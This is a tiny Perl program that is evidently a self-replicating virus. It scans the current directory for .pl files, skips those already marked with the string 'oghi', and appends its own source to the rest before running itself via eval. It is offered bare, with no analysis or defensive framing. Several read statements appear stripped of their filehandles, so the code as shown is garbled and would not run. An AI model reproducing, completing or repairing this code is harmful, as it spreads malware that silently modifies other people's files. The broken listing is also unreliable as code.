$_ = q{ @oghi = <*>; files: foreach(@oghi){ if ( m^.pl^ ){ $a = $_; open(file,$a); while (){ next files if m`oghi`; } close file; open(file,'>>'.$a ); open(self,$0); print file while ; close file; close self; } } }; eval;